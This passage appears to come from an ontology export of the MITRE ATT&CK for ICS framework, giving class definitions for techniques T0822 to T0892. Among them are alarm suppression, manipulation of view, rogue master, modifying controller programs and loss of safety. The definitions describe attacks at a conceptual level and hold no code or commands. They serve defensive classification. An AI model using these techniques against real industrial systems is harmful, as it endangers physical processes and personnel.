subclass of: ATTACKICSExecutionTechnique
preferred label: Modify Controller Tasking

External Remote Services - ATTACK ICS
type: Class
attack-id: T0822
definition: Adversaries may leverage external remote services as a point of initial access into your network. These services allow users to connect to internal network resources from external locations. Examples are VPNs, Citrix, and other access mechanisms. Remote service gateways often manage connections and credential authentication for these services. (Citation: Daniel Oakley, Travis Smith, Tripwire)
subclass of: ATTACKICSInitialAccessTechnique
preferred label: External Remote Services

Graphical User Interface - ATTACK ICS
type: Class
attack-id: T0823
definition: Adversaries may attempt to gain access to a machine via a Graphical User Interface (GUI) to enhance execution capabilities. Access to a GUI allows a user to interact with a computer in a more visual manner than a CLI. A GUI allows users to move a cursor and click on interface objects, with a mouse and keyboard as the main input devices, as opposed to just using the keyboard.
subclass of: ATTACKICSExecutionTechnique
preferred label: Graphical User Interface

I/O Module Discovery - ATTACK ICS
type: Class
attack-id: T0824
definition: Adversaries may use input/output (I/O) module discovery to gather key information about a control system device. An I/O module is a device that allows the control system device to either receive or send signals to other devices. These signals can be analog or digital, and may support a number of different protocols. Devices are often able to use attachable I/O modules to increase the number of inputs and outputs that it can utilize. An adversary with access to a device can use native device functions to enumerate I/O modules that are connected to the device. Information regarding the I/O modules can aid the adversary in understanding related control processes.
comment: This technique has been deprecated.
subclass of: ATTACKICSDiscoveryTechnique
deprecated: true
preferred label: I/O Module Discovery

Location Identification - ATTACK ICS
type: Class
attack-id: T0825
definition: Adversaries may perform location identification using device data to inform operations and targeted impact for attacks. Location identification data can come in a number of forms, including geographic location, location relative to other control system devices, time zone, and current time. An adversary may use an embedded global positioning system (GPS) module in a device to figure out the physical coordinates of a device. NIST SP800-82 recommends that devices utilize GPS or another location determining mechanism to attach appropriate timestamps to log entries (Citation: Guidance - NIST SP800-82). While this assists in logging and event tracking, an adversary could use the underlying positioning mechanism to determine the general location of a device. An adversary can also infer the physical location of serially connected devices by using serial connection enumeration.
comment: This technique has been deprecated.
subclass of: ATTACKICSCollectionTechnique
deprecated: true
preferred label: Location Identification

Loss of Availability - ATTACK ICS
type: Class
attack-id: T0826
definition: Adversaries may attempt to disrupt essential components or systems to prevent owner and operator from delivering products or services. (Citation: Corero) (Citation: Michael J. Assante and Robert M. Lee) (Citation: Tyson Macaulay)
subclass of: ATTACKICSImpactTechnique
preferred label: Loss of Availability

Loss of Control - ATTACK ICS
type: Class
attack-id: T0827
definition: Adversaries may seek to achieve a sustained loss of control or a runaway condition in which operators cannot issue any commands even if the malicious interference has subsided. (Citation: Corero) (Citation: Michael J. Assante and Robert M. Lee) (Citation: Tyson Macaulay)
subclass of: ATTACKICSImpactTechnique
preferred label: Loss of Control

Loss of Productivity and Revenue - ATTACK ICS
type: Class
attack-id: T0828
definition: Adversaries may cause loss of productivity and revenue through disruption and even damage to the availability and integrity of control system operations, devices, and related processes. This technique may manifest as a direct effect of an ICS-targeting attack or tangentially, due to an IT-targeting attack against non-segregated environments.
subclass of: ATTACKICSImpactTechnique
preferred label: Loss of Productivity and Revenue

Loss of View - ATTACK ICS
type: Class
attack-id: T0829
definition: Adversaries may cause a sustained or permanent loss of view where the ICS equipment will require local, hands-on operator intervention; for instance, a restart or manual operation. By causing a sustained reporting or visibility loss, the adversary can effectively hide the present state of operations. This loss of view can occur without affecting the physical processes themselves. (Citation: Corero) (Citation: Michael J. Assante and Robert M. Lee) (Citation: Tyson Macaulay)
subclass of: ATTACKICSImpactTechnique
preferred label: Loss of View

Adversary-in-the-Middle - ATTACK ICS
type: Class
attack-id: T0830
definition: Adversaries with privileged network access may seek to modify network traffic in real time using adversary-in-the-middle (AiTM) attacks. (Citation: Gabriel Sanchez October 2017) This type of attack allows the adversary to intercept traffic to and/or from a particular device on the network. If a AiTM attack is established, then the adversary has the ability to block, log, modify, or inject traffic into the communication stream. There are several ways to accomplish this attack, but some of the most-common are Address Resolution Protocol (ARP) poisoning and the use of a proxy. (Citation: Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011)
subclass of: ATTACKICSCollectionTechnique
preferred label: Adversary-in-the-Middle

Manipulation of Control - ATTACK ICS
type: Class
attack-id: T0831
definition: Adversaries may manipulate physical process control within the industrial environment. Methods of manipulating control can include changes to set point values, tags, or other parameters. Adversaries may manipulate control systems devices or possibly leverage their own, to communicate with and command physical control processes. The duration of manipulation may be temporary or longer sustained, depending on operator detection.
subclass of: ATTACKICSImpactTechnique
preferred label: Manipulation of Control

Manipulation of View - ATTACK ICS
type: Class
attack-id: T0832
definition: Adversaries may attempt to manipulate the information reported back to operators or controllers. This manipulation may be short term or sustained. During this time the process itself could be in a much different state than what is reported. (Citation: Corero) (Citation: Michael J. Assante and Robert M. Lee) (Citation: Tyson Macaulay)
subclass of: ATTACKICSImpactTechnique
preferred label: Manipulation of View

Modify Control Logic - ATTACK ICS
type: Class
attack-id: T0833
definition: Adversaries may place malicious code in a system, which can cause the system to malfunction by modifying its control logic. Control system devices use programming languages (e.g. relay ladder logic) to control physical processes by affecting actuators, which cause machines to operate, based on environment sensor readings. These devices often include the ability to perform remote control logic updates.
comment: This technique has been deprecated.
subclass of: ATTACKICSImpairProcessControlTechnique
subclass of: ATTACKICSInhibitResponseFunctionTechnique
deprecated: true
preferred label: Modify Control Logic

Native API - ATTACK ICS
type: Class
attack-id: T0834
definition: Adversaries may directly interact with the native OS application programming interface (API) to access system functions. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes. (Citation: The MITRE Corporation May 2017) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
subclass of: ATTACKICSExecutionTechnique
preferred label: Native API

Manipulate I/O Image - ATTACK ICS
type: Class
attack-id: T0835
definition: Adversaries may manipulate the I/O image of PLCs through various means to prevent them from functioning as expected. Methods of I/O image manipulation may include overriding the I/O table via direct memory manipulation or using the override function used for testing PLC programs. (Citation: Dr. Kelvin T. Erickson December 2010) During the scan cycle, a PLC reads the status of all inputs and stores them in an image table. (Citation: Nanjundaiah, Vaidyanath) The image table is the PLCs internal storage location where values of inputs/outputs for one scan are stored while it executes the user program. After the PLC has solved the entire logic program, it updates the output image table. The contents of this output image table are written to the corresponding output points in I/O Modules.
subclass of: ATTACKICSInhibitResponseFunctionTechnique
preferred label: Manipulate I/O Image

Modify Parameter - ATTACK ICS
type: Class
attack-id: T0836
definition: Adversaries may modify parameters used to instruct industrial control system devices. These devices operate via programs that dictate how and when to perform actions based on such parameters. Such parameters can determine the extent to which an action is performed and may specify additional options. For example, a program on a control system device dictating motor processes may take a parameter defining the total number of seconds to run that motor.
subclass of: ATTACKICSImpairProcessControlTechnique
preferred label: Modify Parameter

Loss of Protection - ATTACK ICS
type: Class
attack-id: T0837
definition: Adversaries may compromise protective system functions designed to prevent the effects of faults and abnormal conditions. This can result in equipment damage, prolonged process disruptions and hazards to personnel.
subclass of: ATTACKICSImpactTechnique
preferred label: Loss of Protection

Modify Alarm Settings - ATTACK ICS
type: Class
attack-id: T0838
definition: Adversaries may modify alarm settings to prevent alerts that may inform operators of their presence or to prevent responses to dangerous and unintended scenarios. Reporting messages are a standard part of data acquisition in control systems. Reporting messages are used as a way to transmit system state information and acknowledgements that specific actions have occurred. These messages provide vital information for the management of a physical process, and keep operators, engineers, and administrators aware of the state of system devices and physical processes.
subclass of: ATTACKICSInhibitResponseFunctionTechnique
preferred label: Modify Alarm Settings

Module Firmware - ATTACK ICS
type: Class
attack-id: T0839
definition: Adversaries may install malicious or vulnerable firmware onto modular hardware devices. Control system devices often contain modular hardware devices. These devices may have their own set of firmware that is separate from the firmware of the main control system equipment.
subclass of: ATTACKICSImpairProcessControlTechnique
subclass of: ATTACKICSPersistenceTechnique
preferred label: Module Firmware

Network Connection Enumeration - ATTACK ICS
type: Class
attack-id: T0840
definition: Adversaries may perform network connection enumeration to discover information about device communication patterns. If an adversary can inspect the state of a network connection with tools, such as Netstat(Citation: Netstat), in conjunction with [System Firmware](https://attack.mitre.org/techniques/T0857), then they can determine the role of certain devices on the network (Citation: MITRE). The adversary can also use [Network Sniffing](https://attack.mitre.org/techniques/T0842) to watch network traffic for details about the source, destination, protocol, and content.
subclass of: ATTACKICSDiscoveryTechnique
preferred label: Network Connection Enumeration

Network Service Scanning - ATTACK ICS
type: Class
attack-id: T0841
definition: Network Service Scanning is the process of discovering services on networked systems. This can be achieved through a technique called port scanning or probing. Port scanning interacts with the TCP/IP ports on a target system to determine whether ports are open, closed, or filtered by a firewall. This does not reveal the service that is running behind the port, but since many common services are run on [https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml specific port numbers], the type of service can be assumed. More in-depth testing includes interaction with the actual service to determine the service type and specific version. One of the most-popular tools to use for Network Service Scanning is [https://nmap.org/ Nmap].
comment: This technique has been deprecated.
subclass of: ATTACKICSDiscoveryTechnique
deprecated: true
preferred label: Network Service Scanning

Network Sniffing - ATTACK ICS
type: Class
attack-id: T0842
definition: Network sniffing is the practice of using a network interface on a computer system to monitor or capture information (Citation: Enterprise ATT&CK January 2018) regardless of whether it is the specified destination for the information.
subclass of: ATTACKICSDiscoveryTechnique
preferred label: Network Sniffing

Program Download - ATTACK ICS
type: Class
attack-id: T0843
definition: Adversaries may perform a program download to transfer a user program to a controller.
subclass of: ATTACKICSLateralMovementTechnique
preferred label: Program Download

Program Organization Units - ATTACK ICS
type: Class
attack-id: T0844
definition: Program Organizational Units (POUs) are block structures used within PLC programming to create programs and projects. (Citation: Guidance - IEC61131) POUs can be used to hold user programs written in IEC 61131-3 languages: Structured text, Instruction list, Function block, and Ladder logic. (Citation: Guidance - IEC61131) Application - 201203 They can also provide additional functionality, such as establishing connections between the PLC and other devices using TCON. (Citation: PLCBlaster - Spenneberg)
comment: This technique has been deprecated.
subclass of: ATTACKICSExecutionTechnique
subclass of: ATTACKICSLateralMovementTechnique
deprecated: true
preferred label: Program Organization Units

Program Upload - ATTACK ICS
type: Class
attack-id: T0845
definition: Adversaries may attempt to upload a program from a PLC to gather information about an industrial process. Uploading a program may allow them to acquire and study the underlying logic. Methods of program upload include vendor software, which enables the user to upload and read a program running on a PLC. This software can be used to upload the target program to a workstation, jump box, or an interfacing device.
subclass of: ATTACKICSCollectionTechnique
preferred label: Program Upload

Remote System Discovery - ATTACK ICS
type: Class
attack-id: T0846
definition: Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for subsequent Lateral Movement or Discovery techniques. Functionality could exist within adversary tools to enable this, but utilities available on the operating system or vendor software could also be used. (Citation: Enterprise ATT&CK January 2018)
subclass of: ATTACKICSDiscoveryTechnique
preferred label: Remote System Discovery

Replication Through Removable Media - ATTACK ICS
type: Class
attack-id: T0847
definition: Adversaries may move onto systems, such as those separated from the enterprise network, by copying malware to removable media which is inserted into the control systems environment. The adversary may rely on unknowing trusted third parties, such as suppliers or contractors with access privileges, to introduce the removable media. This technique enables initial access to target devices that never connect to untrusted networks, but are physically accessible.
subclass of: ATTACKICSInitialAccessTechnique
preferred label: Replication Through Removable Media

Rogue Master - ATTACK ICS
type: Class
attack-id: T0848
definition: Adversaries may setup a rogue master to leverage control server functions to communicate with outstations. A rogue master can be used to send legitimate control messages to other control system devices, affecting processes in unintended ways. It may also be used to disrupt network communications by capturing and receiving the network traffic meant for the actual master. Impersonating a master may also allow an adversary to avoid detection.
subclass of: ATTACKICSInitialAccessTechnique
preferred label: Rogue Master

Masquerading - ATTACK ICS
type: Class
attack-id: T0849
definition: Adversaries may use masquerading to disguise a malicious application or executable as another file, to avoid operator and engineer suspicion. Possible disguises of these masquerading files can include commonly found programs, expected vendor executables and configuration files, and other commonplace application and naming conventions. By impersonating expected and vendor-relevant files and applications, operators and engineers may not notice the presence of the underlying malicious content and possibly end up running those masquerading as legitimate functions.
subclass of: ATTACKICSEvasionTechnique
preferred label: Masquerading

Role Identification - ATTACK ICS
type: Class
attack-id: T0850
definition: Adversaries may perform role identification of devices involved with physical processes of interest in a target control system. Control systems devices often work in concert to control a physical process. Each device can have one or more roles that it performs within that control process. By collecting this role-based data, an adversary can construct a more targeted attack.
comment: This technique has been deprecated.
subclass of: ATTACKICSCollectionTechnique
deprecated: true
preferred label: Role Identification

Rootkit - ATTACK ICS
type: Class
attack-id: T0851
definition: Adversaries may deploy rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting and modifying operating-system API calls that supply system information. Rootkits or rootkit-enabling functionality may reside at the user or kernel level in the operating system, or lower. (Citation: Enterprise ATT&CK January 2018)
subclass of: ATTACKICSEvasionTechnique
subclass of: ATTACKICSInhibitResponseFunctionTechnique
preferred label: Rootkit

Screen Capture - ATTACK ICS
type: Class
attack-id: T0852
definition: Adversaries may attempt to perform screen capture of devices in the control system environment. Screenshots may be taken of workstations, HMIs, or other devices that display environment-relevant process, device, reporting, alarm, or related data. These device displays may reveal information regarding the ICS process, layout, control, and related schematics. In particular, an HMI can provide a lot of important industrial process information. (Citation: ICS-CERT October 2017) Analysis of screen captures may provide the adversary with an understanding of intended operations and interactions between critical devices.
subclass of: ATTACKICSCollectionTechnique
preferred label: Screen Capture

Scripting - ATTACK ICS
type: Class
attack-id: T0853
definition: Adversaries may use scripting languages to execute arbitrary code in the form of a pre-written script or in the form of user-supplied code to an interpreter. Scripting languages are programming languages that differ from compiled languages, in that scripting languages use an interpreter, instead of a compiler. These interpreters read and compile part of the source code just before it is executed, as opposed to compilers, which compile each and every line of code to an executable file. Scripting allows software developers to run their code on any system where the interpreter exists. This way, they can distribute one package, instead of precompiling executables for many different systems. Scripting languages, such as Python, have their interpreters shipped as a default with many Linux distributions.
subclass of: ATTACKICSExecutionTechnique
preferred label: Scripting

Serial Connection Enumeration - ATTACK ICS
type: Class
attack-id: T0854
definition: Adversaries may perform serial connection enumeration to gather situational awareness after gaining access to devices in the OT network. Control systems devices often communicate to each other via various types of serial communication mediums. These serial communications are used to facilitate informational communication, as well as commands. Serial Connection Enumeration differs from I/O Module Discovery, as I/O modules are auxiliary systems to the main system, and devices that are connected via serial connection are normally discrete systems.
comment: This technique has been deprecated.
subclass of: ATTACKICSDiscoveryTechnique
deprecated: true
preferred label: Serial Connection Enumeration

Unauthorized Command Message - ATTACK ICS
type: Class
attack-id: T0855
definition: Adversaries may send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, or without the logical preconditions to trigger their expected function. Command messages are used in ICS networks to give direct instructions to control systems devices. If an adversary can send an unauthorized command message to a control system, then it can instruct the control systems device to perform an action outside the normal bounds of the device's actions. An adversary could potentially instruct a control systems device to perform an action that will cause an [Impact](https://attack.mitre.org/tactics/TA0105). (Citation: Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011)
subclass of: ATTACKICSImpairProcessControlTechnique
preferred label: Unauthorized Command Message

Spoof Reporting Message - ATTACK ICS
type: Class
attack-id: T0856
definition: Adversaries may spoof reporting messages in control system environments for evasion and to impair process control. In control systems, reporting messages contain telemetry data (e.g., I/O values) pertaining to the current state of equipment and the industrial process. Reporting messages are important for monitoring the normal operation of a system or identifying important events such as deviations from expected values.
subclass of: ATTACKICSEvasionTechnique
subclass of: ATTACKICSImpairProcessControlTechnique
preferred label: Spoof Reporting Message

System Firmware - ATTACK ICS
type: Class
attack-id: T0857
definition: System firmware on modern assets is often designed with an update feature. Older device firmware may be factory installed and require special reprograming equipment. When available, the firmware update feature enables vendors to remotely patch bugs and perform upgrades. Device firmware updates are often delegated to the user and may be done using a software update package. It may also be possible to perform this task over the network.
subclass of: ATTACKICSInhibitResponseFunctionTechnique
subclass of: ATTACKICSPersistenceTechnique
preferred label: System Firmware

Change Operating Mode - ATTACK ICS
type: Class
attack-id: T0858
definition: Adversaries may change the operating mode of a controller to gain additional access to engineering functions such as Program Download. Programmable controllers typically have several modes of operation that control the state of the user program and control access to the controllers API. Operating modes can be physically selected using a key switch on the face of the controller but may also be selected with calls to the controllers API. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below:
subclass of: Restriction
  on property: modifies
  some values from: OTControllerOperatingMode
subclass of: ATTACKICSEvasionTechnique
subclass of: ATTACKICSExecutionTechnique
preferred label: Change Operating Mode

Valid Accounts - ATTACK ICS
type: Class
attack-id: T0859
definition: Adversaries may steal the credentials of a specific user or service account using credential access techniques. In some cases, default credentials for control system devices may be publicly available. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network, and may even be used for persistent access to remote systems. Compromised and default credentials may also grant an adversary increased privilege to specific systems and devices or access to restricted areas of the network. Adversaries may choose not to use malware or tools, in conjunction with the legitimate access those credentials provide, to make it harder to detect their presence or to control devices and send legitimate commands in an unintended way.
subclass of: ATTACKICSLateralMovementTechnique
subclass of: ATTACKICSPersistenceTechnique
preferred label: Valid Accounts

Wireless Compromise - ATTACK ICS
type: Class
attack-id: T0860
definition: Adversaries may perform wireless compromise as a method of gaining communications and unauthorized access to a wireless network. Access to a wireless network may be gained through the compromise of a wireless device. (Citation: Alexander Bolshev, Gleb Cherbov July 2014) (Citation: Alexander Bolshev March 2014) Adversaries may also utilize radios and other wireless communication devices on the same frequency as the wireless network. Wireless compromise can be done as an initial access vector from a remote distance.
subclass of: ATTACKICSInitialAccessTechnique
preferred label: Wireless Compromise

Point & Tag Identification - ATTACK ICS
type: Class
attack-id: T0861
definition: Adversaries may collect point and tag values to gain a more comprehensive understanding of the process environment. Points may be values such as inputs, memory locations, outputs or other process specific variables. (Citation: Dennis L. Sloatman September 2016) Tags are the identifiers given to points for operator convenience.
subclass of: ATTACKICSCollectionTechnique
preferred label: Point & Tag Identification

Supply Chain Compromise - ATTACK ICS
type: Class
attack-id: T0862
definition: Adversaries may perform supply chain compromise to gain control systems environment access by means of infected products, software, and workflows. Supply chain compromise is the manipulation of products, such as devices or software, or their delivery mechanisms before receipt by the end consumer. Adversary compromise of these products and mechanisms is done for the goal of data or system compromise, once infected products are introduced to the target environment.
subclass of: ATTACKICSInitialAccessTechnique
preferred label: Supply Chain Compromise

User Execution - ATTACK ICS
type: Class
attack-id: T0863
definition: Adversaries may rely on a targeted organizations user interaction for the execution of malicious code. User interaction may consist of installing applications, opening email attachments, or granting higher permissions to documents.
subclass of: ATTACKICSExecutionTechnique
preferred label: User Execution

Transient Cyber Asset - ATTACK ICS
type: Class
attack-id: T0864
definition: Adversaries may target devices that are transient across ICS networks and external networks. Normally, transient assets are brought into an environment by authorized personnel and do not remain in that environment on a permanent basis. (Citation: North American Electric Reliability Corporation June 2021) Transient assets are commonly needed to support management functions and may be more common in systems where a remotely managed asset is not feasible, external connections for remote access do not exist, or 3rd party contractor/vendor access is required.
subclass of: ATTACKICSInitialAccessTechnique
preferred label: Transient Cyber Asset

Spearphishing Attachment - ATTACK ICS
type: Class
attack-id: T0865
definition: Adversaries may use a spearphishing attachment, a variant of spearphishing, as a form of a social engineering attack against specific targets. Spearphishing attachments are different from other forms of spearphishing in that they employ malware attached to an email. All forms of spearphishing are electronically delivered and target a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T0863) to gain execution and access. (Citation: Enterprise ATT&CK October 2019)
subclass of: ATTACKICSInitialAccessTechnique
preferred label: Spearphishing Attachment

Exploitation of Remote Services - ATTACK ICS
type: Class
attack-id: T0866
definition: Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to enable remote service abuse. A common goal for post-compromise exploitation of remote services is for initial access into and lateral movement throughout the ICS environment to enable access to targeted systems. (Citation: Enterprise ATT&CK)
subclass of: ATTACKICSInitialAccessTechnique
subclass of: ATTACKICSLateralMovementTechnique
preferred label: Exploitation of Remote Services

Lateral Tool Transfer - ATTACK ICS
type: Class
attack-id: T0867
definition: Adversaries may transfer tools or other files from one system to another to stage adversary tools or other files over the course of an operation. (Citation: Enterprise ATT&CK) Copying of files may also be performed laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares. (Citation: Enterprise ATT&CK)
subclass of: ATTACKICSLateralMovementTechnique
preferred label: Lateral Tool Transfer

Detect Operating Mode - ATTACK ICS
type: Class
attack-id: T0868
definition: Adversaries may gather information about a PLCs or controllers current operating mode. Operating modes dictate what change or maintenance functions can be manipulated and are often controlled by a key switch on the PLC (e.g., run, prog [program], and remote). Knowledge of these states may be valuable to an adversary to determine if they are able to reprogram the PLC. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below:
subclass of: ATTACKICSCollectionTechnique
preferred label: Detect Operating Mode

Standard Application Layer Protocol - ATTACK ICS
type: Class
attack-id: T0869
definition: Adversaries may establish command and control capabilities over commonly used application layer protocols such as HTTP(S), OPC, RDP, telnet, DNP3, and modbus. These protocols may be used to disguise adversary actions as benign network traffic. Standard protocols may be seen on their associated port or in some cases over a non-standard port. Adversaries may use these protocols to reach out of the network for command and control, or in some cases to other infected devices within the network.
subclass of: ATTACKICSCommandAndControlTechnique
preferred label: Standard Application Layer Protocol

Detect Program State - ATTACK ICS
type: Class
attack-id: T0870
definition: Adversaries may seek to gather information about the current state of a program on a PLC. State information reveals information about the program, including whether it's running, halted, stopped, or has generated an exception. This information may be leveraged as a verification of malicious program execution or to determine if a PLC is ready to download a new program.
comment: This technique has been deprecated.
subclass of: ATTACKICSCollectionTechnique
deprecated: true
preferred label: Detect Program State

Execution through API - ATTACK ICS
type: Class
attack-id: T0871
definition: Adversaries may attempt to leverage Application Program Interfaces (APIs) used for communication between control software and the hardware. Specific functionality is often coded into APIs which can be called by software to engage specific functions on a device or other software.
subclass of: ATTACKICSExecutionTechnique
preferred label: Execution through API

Indicator Removal on Host - ATTACK ICS
type: Class
attack-id: T0872
definition: Adversaries may attempt to remove indicators of their presence on a system in an effort to cover their tracks. In cases where an adversary may feel detection is imminent, they may try to overwrite, delete, or cover up changes they have made to the device.
subclass of: ATTACKICSEvasionTechnique
preferred label: Indicator Removal on Host

Project File Infection - ATTACK ICS
type: Class
attack-id: T0873
definition: Adversaries may attempt to infect project files with malicious code. These project files may consist of objects, program organization units, variables such as tags, documentation, and other configurations needed for PLC programs to function. (Citation: Beckhoff) Using built in functions of the engineering software, adversaries may be able to download an infected program to a PLC in the operating environment enabling further [Execution](https://attack.mitre.org/tactics/TA0104) and [Persistence](https://attack.mitre.org/tactics/TA0110) techniques. (Citation: PLCdev)
subclass of: ATTACKICSPersistenceTechnique
preferred label: Project File Infection

Hooking - ATTACK ICS
type: Class
attack-id: T0874
definition: Adversaries may hook into application programming interface (API) functions used by processes to redirect calls for execution and privilege escalation means. Windows processes often leverage these API functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. (Citation: Enterprise ATT&CK)
subclass of: ATTACKICSExecutionTechnique
subclass of: Privilege Escalation Technique - ATTACK ICS
preferred label: Hooking

Change Program State - ATTACK ICS
type: Class
attack-id: T0875
definition: Adversaries may attempt to change the state of the current program on a control device. Program state changes may be used to allow for another program to take over control or be loaded onto the device.
comment: This technique has been deprecated.
subclass of: ATTACKICSExecutionTechnique
subclass of: ATTACKICSImpairProcessControlTechnique
deprecated: true
preferred label: Change Program State

I/O Image - ATTACK ICS
type: Class
attack-id: T0877
definition: Adversaries may seek to capture process values related to the inputs and outputs of a PLC. During the scan cycle, a PLC reads the status of all inputs and stores them in an image table. (Citation: Nanjundaiah, Vaidyanath) The image table is the PLCs internal storage location where values of inputs/outputs for one scan are stored while it executes the user program. After the PLC has solved the entire logic program, it updates the output image table. The contents of this output image table are written to the corresponding output points in I/O Modules.
subclass of: ATTACKICSCollectionTechnique
preferred label: I/O Image

Alarm Suppression - ATTACK ICS
type: Class
attack-id: T0878
definition: Adversaries may target protection function alarms to prevent them from notifying operators of critical conditions. Alarm messages may be a part of an overall reporting system and of particular interest for adversaries. Disruption of the alarm system does not imply the disruption of the reporting system as a whole.
subclass of: ATTACKICSInhibitResponseFunctionTechnique
preferred label: Alarm Suppression

Damage to Property - ATTACK ICS
type: Class
attack-id: T0879
definition: Adversaries may cause damage and destruction of property to infrastructure, equipment, and the surrounding environment when attacking control systems. This technique may result in device and operational equipment breakdown, or represent tangential damage from other techniques used in an attack. Depending on the severity of physical damage and disruption caused to control processes and systems, this technique may result in [Loss of Safety](https://attack.mitre.org/techniques/T0880). Operations that result in [Loss of Control](https://attack.mitre.org/techniques/T0827) may also cause damage to property, which may be directly or indirectly motivated by an adversary seeking to cause impact in the form of [Loss of Productivity and Revenue](https://attack.mitre.org/techniques/T0828).
subclass of: ATTACKICSImpactTechnique
preferred label: Damage to Property

Loss of Safety - ATTACK ICS
type: Class
attack-id: T0880
definition: Adversaries may compromise safety system functions designed to maintain safe operation of a process when unacceptable or dangerous conditions occur. Safety systems are often composed of the same elements as control systems but have the sole purpose of ensuring the process fails in a predetermined safe manner.
subclass of: ATTACKICSImpactTechnique
preferred label: Loss of Safety

Service Stop - ATTACK ICS
type: Class
attack-id: T0881
definition: Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment. (Citation: Enterprise ATT&CK) Services may not allow for modification of their data stores while running. Adversaries may stop services in order to conduct Data Destruction. (Citation: Enterprise ATT&CK)
subclass of: ATTACKICSInhibitResponseFunctionTechnique
preferred label: Service Stop

Theft of Operational Information - ATTACK ICS
type: Class
attack-id: T0882
definition: Adversaries may steal operational information on a production environment as a direct mission outcome for personal gain or to inform future operations. This information may include design documents, schedules, rotational data, or similar artifacts that provide insight on operations. In the Bowman Dam incident, adversaries probed systems for operational data. (Citation: Mark Thompson March 2016) (Citation: Danny Yadron December 2015)
subclass of: ATTACKICSImpactTechnique
preferred label: Theft of Operational Information

Internet Accessible Device - ATTACK ICS
type: Class
attack-id: T0883
definition: Adversaries may gain access into industrial environments through systems exposed directly to the internet for remote access rather than through [External Remote Services](https://attack.mitre.org/techniques/T0822). Internet Accessible Devices are exposed to the internet unintentionally or intentionally without adequate protections. This may allow for adversaries to move directly into the control system network. Access onto these devices is accomplished without the use of exploits, these would be represented within the [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T0819) technique.
subclass of: ATTACKICSInitialAccessTechnique
preferred label: Internet Accessible Device

Connection Proxy - ATTACK ICS
type: Class
attack-id: T0884
definition: Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications.
subclass of: ATTACKICSCommandAndControlTechnique
preferred label: Connection Proxy

Commonly Used Port - ATTACK ICS
type: Class
attack-id: T0885
definition: Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend in with normal network activity, to avoid more detailed inspection. They may use the protocol associated with the port, or a completely different protocol. They may use commonly open ports, such as the examples provided below.
subclass of: ATTACKICSCommandAndControlTechnique
preferred label: Commonly Used Port

Remote Services - ATTACK ICS
type: Class
attack-id: T0886
definition: Adversaries may leverage remote services to move between assets and network segments. These services are often used to allow operators to interact with systems remotely within the network, some examples are RDP, SMB, SSH, and other similar mechanisms. (Citation: Blake Johnson, Dan Caban, Marina Krotofil, Dan Scali, Nathan Brubaker, Christopher Glyer December 2017) (Citation: Dragos December 2017) (Citation: Joe Slowik April 2019)
subclass of: ATTACKICSInitialAccessTechnique
subclass of: ATTACKICSLateralMovementTechnique
preferred label: Remote Services

Wireless Sniffing - ATTACK ICS
type: Class
attack-id: T0887
definition: Adversaries may seek to capture radio frequency (RF) communication used for remote control and reporting in distributed environments. RF communication frequencies vary between 3 kHz to 300 GHz, although are commonly between 300 MHz to 6 GHz. (Citation: Candell, R., Hany, M., Lee, K. B., Liu,Y., Quimby, J., Remley, K. April 2018) The wavelength and frequency of the signal affect how the signal propagates through open air, obstacles (e.g. walls and trees) and the type of radio required to capture them. These characteristics are often standardized in the protocol and hardware and may have an effect on how the signal is captured. Some examples of wireless protocols that may be found in cyber-physical environments are: WirelessHART, Zigbee, WIA-FA, and 700 MHz Public Safety Spectrum.
subclass of: ATTACKICSCollectionTechnique
subclass of: ATTACKICSDiscoveryTechnique
preferred label: Wireless Sniffing

Remote System Information Discovery - ATTACK ICS
type: Class
attack-id: T0888
definition: An adversary may attempt to get detailed information about remote systems and their peripherals, such as make/model, role, and configuration. Adversaries may use information from Remote System Information Discovery to aid in targeting and shaping follow-on behaviors. For example, the system's operational role and model information can dictate whether it is a relevant target for the adversary's operational objectives. In addition, the system's configuration may be used to scope subsequent technique usage.
subclass of: ATTACKICSDiscoveryTechnique
preferred label: Remote System Information Discovery

Modify Program - ATTACK ICS
type: Class
attack-id: T0889
definition: Adversaries may modify or add a program on a controller to affect how it interacts with the physical process, peripheral devices and other hosts on the network. Modification to controller programs can be accomplished using a Program Download in addition to other types of program modification such as online edit and program append.
subclass of: ATTACKICSPersistenceTechnique
preferred label: Modify Program

Exploitation for Privilege Escalation - ATTACK ICS
type: Class
attack-id: T0890
definition: Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions. (Citation: The MITRE Corporation)
subclass of: Privilege Escalation Technique - ATTACK ICS
preferred label: Exploitation for Privilege Escalation

Hardcoded Credentials - ATTACK ICS
type: Class
attack-id: T0891
definition: Adversaries may leverage credentials that are hardcoded in software or firmware to gain an unauthorized interactive user session to an asset. Examples credentials that may be hardcoded in an asset include:
subclass of: ATTACKICSLateralMovementTechnique
subclass of: ATTACKICSPersistenceTechnique
preferred label: Hardcoded Credentials

Change Credential - ATTACK ICS
type: Class
attack-id: T0892
